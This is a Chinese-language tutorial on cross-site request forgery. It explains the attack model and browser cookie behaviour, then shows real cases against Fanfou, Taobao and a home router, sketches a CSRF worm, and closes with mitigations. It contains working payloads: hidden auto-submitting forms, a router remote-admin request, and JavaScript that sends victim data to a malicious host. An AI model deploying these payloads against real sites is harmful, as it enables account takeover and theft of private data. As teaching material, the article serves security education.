CSRF是什么
Cross-Site Request Forgery跨站请求伪造。
1、跨站点的请求;
2、请求是伪造的。
被攻击者的浏览器被迫向目标站点发起了伪造的请求,这个过程会带上被攻击者的身份验证标识(session)以通过目标站点的验证。从而借用被攻击者在目标站点上的权限进行一系列不被期望的操作。
文章内容
1、CSRF模型
2、CSRF攻击与基于CSRF的攻击
3、CSRF蠕虫模型
4、修补建议
5、Q&A
CSRF模型
恶意站点
恶意站点 = 目标站点,同域CSRF。
恶意站点 != 目标站点,跨域CSRF。
也许包含的CSRF攻击代码:
<img src=“http://目标站点/action=delete&id=7”> <form action=“http://目标站点/post.php”> <input type=“text” style=“…” name=“title” value=“csrf” /><input … </form> <iframe src=“…”> …<param name="movie" value="post_as3.swf" /> <embed src="post_as3.swf“…
浏览器
本地cookie:
IE及IE内核浏览器:CSRF时,阻止带上本地cookie。
FF等浏览器:没这种限制。
内存cookie:
即session cookie。
IE与FF等浏览器不会阻止这类cookie。
多标签浏览器:
关闭标签页时,session cookie没被清除。
其他问题:
session的浏览器窗口继承问题。
可信任请求
正常的请求、伪造的请求。
浏览器、目标站点没对它们进行区分。
主要请求的类型:
POST型CSRF、GET型CSRF。
利用各种技术在客户端发起有效的POST请求与GET请求。
各种技术:JavaScript, ActionScript, HTML/CSS, XML, ASP, PHP, JSP, .NET等等。
用户驱动下的请求:
主动的、被动的。
二、 CSRF攻击与基于CSRF的攻击
CSRF攻击
CSRF攻击能完成这些事:
删除、修改、新增目标站点上被攻击者的数据;
JSON Hijacking等获取被攻击者的隐私数据;
作为其它攻击向量的辅助攻击手法;
使被攻击者成为黑客下一步攻击的跳板,甚至可以实现CSRF蠕虫攻击。
下面是真实世界的CSRF攻击实例……
CSRF攻击-实例1
被攻击者(下面就是余弦)登录饭否www.fanfou.com
余弦看到好友evilcos的消息:不错的攻击手法:http://xeye.us/lab/nice.php。于是好奇点击去看。
余弦的消息“test~”被删了?!
问题出现在这个恶意站点的文件:http://xeye.us/lab/nice.php,代码如下:
<?php
$s = "<form method='post' action='http://fanfou.com/home'>";
$s = $s."<input type='text' value='CI1z1FVs59Y' name='msg' style='display:none!important;display:block;width=0;height=0' />";
$s = $s."<input type='text' value='msg.del' name='action' style='display:none!important;display:block;width=0;height=0' />";
$s = $s."</form>";
$s = $s."<script>document.forms[0].submit();</script>";
echo($s);
?>
其实还可以这样:
<img src="http://api.fanfou.com/statuses/destroy.xml?id=CI1z1FVs59Y" />
使用了POST与GET两种CSRF方式删除消息。
伪造的删除请求来自恶意站点。
删除请求被目标站点执行之前,目标站点会检测是否有合法的身份验证标识(session/cookie)。
被攻击者肯定不希望看到这样的结果。
CSRF攻击-实例2
还可以对本地网络设备进行CSRF攻击
FAST无线宽带路由器的管理界面——远端WEB管理
在登录状态,被攻击者访问了带有CSRF攻击代码的网页时,就“被迫”开启了“远程WEB管理”功能。
CSRF攻击代码如下:
<img src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=%B1%A3+%B4%E6>
使用GET方式发起的CSRF攻击。
通过社工等手法让被攻击者访问恶意站点的CSRF文件。
FAST无线宽带路由器的WEB管理的默认用户名与密码:admin。
CSRF攻击-实例3
CSRF不一定需要浏览器:
rar自解压文件内执行javascript,等。
rar自解压文件如何CSRF成功?
目标站点存放了本地cookie。
安装解压xss
基于CSRF的攻击
基于CSRF的XSS攻击
基于CSRF的SQL注入攻击
基于CSRF的命令执行攻击
……
需要权限验证的漏洞可以使用基于CSRF的攻击手法。
经常被忽略的安全问题。
基于CSRF的攻击-实例
被攻击者登录自己的淘宝http://my.taobao.com/。在“编辑个人信息”处存在持久型的XSS漏洞。
他同时访问了http://xeye.us/lab/x_taobao_csrf.asp。随后发生了XSS攻击。
http://xeye.us/lab/x_taobao_csrf.asp的部分代码如下:
<%
s = "<form method='post' action='http://member1.taobao.com/member/edit_user_info.jhtml'>“
……
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='火星" onmouseover="alert(/hi/.source)' name='_fmm.edi._0.a'/>“
……
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>
三、CSRF蠕虫模型
1、数据获取模块
同域CSRF攻击。
同域内获取数据几乎没任何限制。
跨域CSRF攻击。
跨域获取数据的几种方法:
XSS
服务端代理技术
JSON Hijacing
Flash AsctionScript(crossdomain.xml)
要获取的关键数据是唯一标识:
唯一的、无法全部预知的
用户id、用户昵称、用户email、用户个人页面地址等。
使用XSS
使用目标站点上的XSS漏洞:
<iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script src=http://恶意站点/get.js></script>’></iframe>
http://恶意站点/get.js的代码是:
//use DOM method to get your data new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;
恶意站点的do.php文件接收唯一标识等数据。该唯一标识可以是url中的或是目标站点url对应的内容中的。
使用服务端代理
使用服务端代理技术:
asp/asp.net服务端的XMLHTTP、php的file_get_contents 等等。
无法获取页面内容中的唯一标识,只能获取url中的唯一标识:
使用referer来获取目标站点的url。
r = Request.ServerVariables(“HTTP_REFERER”)。
r可能为http://目标站点/space/user/?id=2343,其中2343就是唯一标识。
使用JSON Hijacking
使用JSON Hijacking技术:
目标站点使用了JSON数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
相关代码:
<script> function hijack(o){ //use DOM method to get your data new Image().src="http://192.168.1.2/JSONHiJack.asp?hi="+escape(data); } </script> <script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>
使用Flash
使用Flash ActionScript脚本:
目标站点下必须存在crossdomain.xml文件。
crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求。
<?xml version="1.0" ?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
相关代码:
import flash.net.*; var _l = new URLLoader(new URLRequest(“http://目标站点/")); _l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data}); _l.load();
其他方法
<script>标签的跨域性质:
目标站点有些根据用户唯一标识生成的.js等文件。
也许包含唯一标识在这些文件中,比如var user_id = 2343;。
我们可以获取这样的全局变量。
IE8下的XDomainRequest:
目标站点返回的HTTP头部中带有XDomainRequestAllowed=1。
CSSHttpRequest:
目标站点返回这样格式的数据:@import url(about:chr:data);
其实我们漏了非常重要的一点:
我们来控制初始唯一标识,这在饭否CSRF蠕虫中会讲到。
2、数据发送模块
唯一标识的作用。
在CSRF蠕虫数据处理中心对唯一标识对应的其它相关用户发起CSRF攻击。
就是这样的传播方式。
使用POST或GET型的CSRF发送伪造后的请求。
各种技术:JavaScript, ActionScript, HTML/CSS, XML, ASP, PHP, JSP, .NET等等。
在客户端发送,否则带不上session/cookie。
四、修补建议
在服务端区严格区分好POST与GET的数据请求。
如在asp中不要使用Request来直接获取数据。
建议不要用GET请求来执行持久性操作,如: http://www.yeeyan.com/space/deleteEvent/16824。
可以考虑使用referer来判断请求来源。
如果referer是站外的话就拒绝请求。Flash的referer为空,记得不要漏了空值。
在客户端伪造referer值?
使用随机的不可猜测的表单token值来防止外站CSRF攻击。
虽然在XSS的辅助下无效。
在一些重要的表单提交处可以考虑使用验证码或者密码确认方式进行。
这种方法很有效,但是用户体验就差了些。
未经允许请勿转载:程序喵 » CSRF 攻击-苏醒的巨人